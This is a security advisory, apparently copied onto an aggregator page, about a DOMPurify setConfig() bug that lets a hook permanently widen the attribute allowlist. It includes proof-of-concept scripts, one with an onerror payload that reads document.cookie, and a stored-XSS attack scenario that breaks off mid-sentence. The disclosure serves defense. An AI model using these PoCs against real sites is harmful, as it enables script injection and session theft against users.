DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)
- When
- Where
- Global (internet)
- Category
- cyber_advisory · npm
## Summary DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered `uponSanitizeAttribute` hook's mutation of `data.allowedAttributes` **non-persistent** — so allowing an attribute for one element does not leak into later `sanitize()` calls. The fix clones `ALLOWED_ATTR` inside `_parseConfig`. That guard is **silently bypassed whenever the application uses the persistent-config API `DOMPurify.setConfig()`.** `setConfig()` sets the module flag `SET_CONFIG = true`, which causes `sanitize()` to **skip `_parseConfig` entirely** — and the clone-guard lives inside `_parseConfig`. The hook is then handed the **live, shared `ALLOWED_ATTR` object**; any `data.allowedAttributes[name] = true` it writes mutates that shared object **permanently**, for the lifetime of the DOMPurify instance, across every subsequent call, and across **all** elements. If an application uses `setConfig()` together with an `uponSanitizeAttribute` hook that conditionally allows a dangerous attribute (`onerror`, `onclick`, `onmouseover`, `srcdoc`, `formaction`, …) for "trusted" elements, then **one trusted render permanently allows that attribute on untrusted, attacker-controlled content** — yielding stored XSS in viewers' browsers. DOMPurify applies no separate `/^on/` event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final. --- ## Affected configuration (preconditions) The vulnerability is triggered when an application does **both**: 1. Calls `DOMPurify.setConfig(...)` once (the recommended pattern for a fixed, persistent policy), **and** 2. Registers an `uponSanitizeAttribute` hook that writes `data.allowedAttributes[name] = true` to conditionally allow an attribute (e.g. only for elements bearing a trust marker). This hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix. --- ## Root cause (source: `src/purify.ts`, v3.4.10) The 3.4.7 clone-guard — only inside `_parseConfig`: ``` // src/purify.ts _parseConfig() (lines ~950-968) // "if a hook is registered AND the set still points at the default constant, clone it. // The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original." if ( ... && hooks.uponSanitizeAttribute.length > 0) { ALLOWED_TAGS = clone(ALLOWED_TAGS); // line 961 } if ( ... hooks.uponSanitizeAttribute.length > 0 ... ) { ALLOWED_ATTR = clone(ALLOWED_ATTR); // line 968 } ``` `sanitize()` skips `_parseConfig` on the persistent-config path: ``` // src/purify.ts DOMPurify.sanitize() (line 2369) if (!SET_CONFIG) { _parseConfig(cfg); // <-- clone-guard lives in here; SKIPPED when SET_CONFIG is true } ``` `setConfig()` sets the flag that disables the guard: ``` // src/purify.ts (lines 2596-2598) DOMPurify.setConfig = function (cfg = {}) { _parseConfig(cfg); SET_CONFIG = true; // every later sanitize() now skips _parseConfig }; ``` The hook is handed the **live** allowlist binding, and there is no secondary event-handler defense: ``` // src/purify.ts (line 2088) — hook event exposes the shared object by reference allowedAttributes: ALLOWED_ATTR, // (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself // _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design. ``` **Net:** after `setConfig()`, the clone-guard never runs, so the hook's `allowedAttributes` mutation is a permanent write to the instance's shared `ALLOWED_ATTR`. --- ## Proof of Concept Environment: `npm i dompurify@3.4.10 jsdom` (Node; identical mechanism to `isomorphic-dompurify`, and to a browser instance). ### PoC 1 — the leak (trusted render permanently allows `onerror` on attacker content) ```js const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const DP = createDOMPurify(new JSDOM('').window); // App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }); DP.addHook('uponSanitizeAttribute', (node, data) => { if (node.getAttribute && node.getAttribute('data-trusted') === '1') { data.allowedAttributes['onerror'] = true; // intended: trusted-only } }); // 1) A trusted widget is rendered once DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">'); // 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance console.log(DP.sanitize('<img src="x" onerror="alert(document.cookie)">')); // OUTPUT: <img src="x" onerror="alert(document.cookie)"> <-- onerror SURVIVES -> XSS ``` ### PoC 2 — it is a DOMPurify state-leak, not "the app allowed `on*`" (attribute-agnostic) ```js // Same setConfig + hook shape, but the hook allows a BENIGN attribute (title). // The leak is identical -> the defect is a shared-state mutation in DOMPurify, // independent of which attribute the hook touches. DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] }); DP.addHook('uponSanitizeAttribute', (n, d) => { if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true; }); DP.sanitize('<span data-trusted="1" title="ok">x</span>'); console.log(DP.sanitize('<span title="leaked">x</span>')); // -> <span title="leaked">x</span> (leaked) ``` ### PoC 3 — control: WITHOUT `setConfig()` the 3.4.7 guard holds ```js const DP2 = createDOMPurify(new JSDOM('').window); DP2.addHook('uponSanitizeAttribute', (n, d) => { if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true; }); DP2.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }); console.log(DP2.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] })); // OUTPUT: <img src="x"> <-- onerror correctly STRIPPED. setConfig() is the trigger. ``` ### Persistence (observed) - The leak **persists after `removeAllHooks()`** — removing the hook does not clean the polluted allowlist. - It is **global / cross-element** — a polluted `onmouseover` survives on `<a>` and `<div>`, not only the originally-blessed `<img>`. - It persists for the **instance lifetime** (survived 5/5 subsequent default calls). - `clearConfig()` **does** restore a clean state (this is the bound of the impact). --- ## Impact Stored XSS. In a long-lived (e.g. server-side / `isomorphic-dompurify`) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no `/^on/` blocklist, a surviving `on*` attribute is final — no secondary control prevents execution. `onerror` on a broken-`src` `<img>` fires with no user interaction (browser-confirmed; see Validation). **Per-call `FORBID_ATTR` does not mitigate.** A defensive `sanitize(input, { FORBID_ATTR: ['onerror'] })` is also ignored once `setConfig()` has been called: the per-call config is parsed by `_parseConfig`, which `sanitize()` skips entirely under `SET_CONFIG`. So an application cannot blunt the leak with a per-call denylist — the poisoned `ALLOWED_ATTR` is the sole gate. --- ## Realistic attack scenario A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance: 1. The app installs a persistent baseline policy via `setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] })`. 2. It registers an `uponSanitizeAttribute` hook that enables an event handler **only** for admin-vetted elements marked `data-trusted="1"`, intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe. 3. An admin renders one trusted widget. Fro
Sources
- GitHub Advisory Database ↗ · first seen 2026-06-18 14:27 UTC
Defaxon links out to the original reporting and never republishes article text.
Correlated events
Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.
No correlated events found in the current window. As more events arrive, connections form automatically.